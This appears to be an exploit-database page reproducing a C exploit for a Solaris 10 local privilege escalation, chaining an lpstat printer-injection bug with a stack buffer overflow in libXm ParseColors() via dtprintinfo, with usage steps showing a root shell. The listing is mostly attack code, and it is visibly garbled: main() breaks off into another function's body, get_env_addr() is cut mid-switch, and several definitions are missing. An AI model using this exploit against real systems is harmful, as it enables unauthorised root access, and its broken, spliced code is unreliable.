Solaris 10 libxm buffer overflow local privilege escalation Vulnerability / Exploit
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Exploits / Vulnerability Discovered : 2023-04-03 |
Type : local |
Platform : solaris
[+] Code ...
/*
* Exploit Title: Solaris 10 libXm - Buffer overflow Local privilege escalation
* raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE
* Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* "What has been will be again,
* what has been done will be done again;
* there is nothing new under the Sun."
* -- Ecclesiastes 1:9
*
* #Solaris #CDE #0day #ForeverDay #WontFix
*
* This exploit illustrates yet another way to abuse the infamous dtprintinfo
* binary distributed with the Common Desktop Environment (CDE), a veritable
* treasure trove for bug hunters since the 1990s. It's not the most reliable
* exploit I've ever written, but I'm quite proud of the new vulnerabilities
* I've unearthed in dtprintinfo with the latest Solaris patches (CPU January
* 2021) applied. The exploit chain is structured as follows:
* 1. Inject a fake printer via the printer injection bug I found in lpstat.
* 2. Exploit the stack-based buffer overflow I found in libXm ParseColors().
* 3. Enjoy root privileges!
*
* For additional details on my bug hunting journey and on the vulnerabilities
* themselves, you can refer to the official advisory:
* https://github.com/0xdea/advisories/blob/master/HNS-2022-01-dtprintinfo.txt
*
* Usage:
* $ gcc raptor_dtprintlibXmas.c -o raptor_dtprintlibXmas -Wall
* $ ./raptor_dtprintlibXmas 10.0.0.109:0
* raptor_dtprintlibXmas.c - Solaris 10 CDE #ForeverDay LPE
* Copyright (c) 2023 Marco Ivaldi <raptor@0xdeadbeef.info>
*
* Using SI_PLATFORM : i86pc (5.10)
* Using stack base : 0x8047fff
* Using safe address : 0x8045790
* Using rwx_mem address : 0xfeffa004
* Using sc address : 0x8047fb4
* Using sprintf() address : 0xfefd1250
* Path of target binary : /usr/dt/bin/dtprintinfo
*
* On your X11 server:
* 1. Select the "fnord" printer, then click on "Selected" > "Properties".
* 2. Click on "Find Set" and choose "/tmp/.dt/icons" from the drop-down menu.
*
* Back to your original shell:
* # id
* uid=0(root) gid=1(other)
*
* IMPORTANT NOTE.
* The buffer overflow corrupts some critical variables in memory, which we
* need to fix. In order to do so, we must patch the hostile buffer at some
* fixed locations with the first argument of the last call to ParseColors().
* The easiest way to get such a safe address is via the special 0x41414141
* command-line argument and truss, as follows:
* $ truss -fae -u libXm:: ./raptor_dtprintlibXmas 10.0.0.109:0 0x41414141 2>OUT
* $ grep ParseColors OUT | tail -1
* 29181/1@1: -> libXm:ParseColors(0x8045770, 0x3, 0x1, 0x8045724)
* ^^^^^^^^^ << this is the safe address we need
*
* Tested on:
* SunOS 5.10 Generic_153154-01 i86pc i386 i86pc (CPU January 2021)
* [previous Solaris versions are also likely vulnerable]
*/
/* prototypes */
int add_env(char *string);
void check_bad(int addr, char *name);
int get_env_addr(char *path, char **argv);
int search_ldso(char *sym);
int search_rwx_mem(void);
void set_val(char *buf, int pos, int val);
/*
* main()
*/
int main(int argc, char **argv)
{
char buf[BUFSIZE], cmd[1024], *vuln = VULN;
char platform[256], release[256], display[256];
int i, sc_addr, safe_addr = SAFE;
FILE *fp;
int sb = ((int)argv[0] | 0xfff); // stack base
int ret = search_ldso("sprintf"); // sprintf() in ld.so.1
int rwx_mem = search_rwx_mem(); // rwx memory
/* helper that prints argv[0] address, used by get_env_addr() */
if (!strcmp(argv[0], arg[0])) {
printf("0x%p\n", argv[0]);
exit(0);
}
/* print exploit information */
fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2);
/* process command line */
if ((argc < 2) || (argc > 3)) {
fprintf(stderr, "usage: %s xserver:display [safe_addr]\n\n",
argv[0]);
exit(1);
}
snprintf(display, sizeof(display), "DISPLAY=%s", argv[1]);
if (argc > 2) {
safe_addr = (int)strtoul(argv[2], (char **)NULL, 0);
}
/* add the variable to envp */
env[env_pos] = string;
env_len += strlen(string) + 1;
env_pos++;
/* pad envp using zeroes */
if ((strlen(string) + 1) % 4)
for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) {
env[env_pos] = string + strlen(string);
env_len++;
}
return env_len;
}
/*
* check_bad(): check an address for the presence of badchars
*/
void check_bad(int addr, char *name)
{
int i, bad[] = {0x00, 0x09, 0x20}; // NUL, HT, SP
for (i = 0; i < sizeof(bad) / sizeof(int); i++) {
if (((addr & 0xff) == bad[i]) ||
((addr & 0xff00) == bad[i]) ||
((addr & 0xff0000) == bad[i]) ||
((addr & 0xff000000) == bad[i])) {
fprintf(stderr, "error: %s contains a badchar\n", name);
exit(1);
}
}
}
/*
* get_env_addr(): get environment address using a helper program
*/
int get_env_addr(char *path, char **argv)
{
char prog[] = "./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char hex[11];
int fd[2], addr;
/* truncate program name at correct length and create a hard link */
prog[strlen(path)] = '\0';
unlink(prog);
link(argv[0], prog);
/* open pipe to read program output */
if (pipe(fd) == -1) {
perror("pipe");
exit(1);
}
switch(fork()) {
case -1: /* cannot fork */
perror("fork");
exit(1);
/*
* search_ldso(): search for a symbol inside ld.so.1
*/
int search_ldso(char *sym)
{
int addr;
void *handle;
Link_map *lm;
/* open the executable object file */
if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) {
perror("dlopen");
exit(1);
}
/* get dynamic load information */
if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) {
perror("dlinfo");
exit(1);
}
/* search for the address of the symbol */
if ((addr = (int)dlsym(handle, sym)) == NULL) {
fprintf(stderr, "sorry, function %s() not found\n", sym);
exit(1);
}
/* close the executable object file */
dlclose(handle);
return addr;
}
/*
* search_rwx_mem(): search for an RWX memory segment valid for all
* programs (typically, /usr/lib/ld.so.1) using the proc filesystem
*/
int search_rwx_mem(void)
{
int fd;
char tmp[16];
prmap_t map;
int addr = 0, addr_old;
/* open the proc filesystem */
sprintf(tmp,"/proc/%d/map", (int)getpid());
if ((fd = open(tmp, O_RDONLY)) < 0) {
fprintf(stderr, "can't open %s\n", tmp);
exit(1);
}
/* search for the last RWX memory segment before stack (last - 1) */
while (read(fd, &map, sizeof(map)))
if (map.pr_vaddr)
if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) {
addr_old = addr;
addr = map.pr_vaddr;
}
close(fd);
/* add 4 to the exact address NUL bytes */
if (!(addr_old & 0xff))
addr_old |= 0x04;
if (!(addr_old & 0xff00))
addr_old |= 0x0400;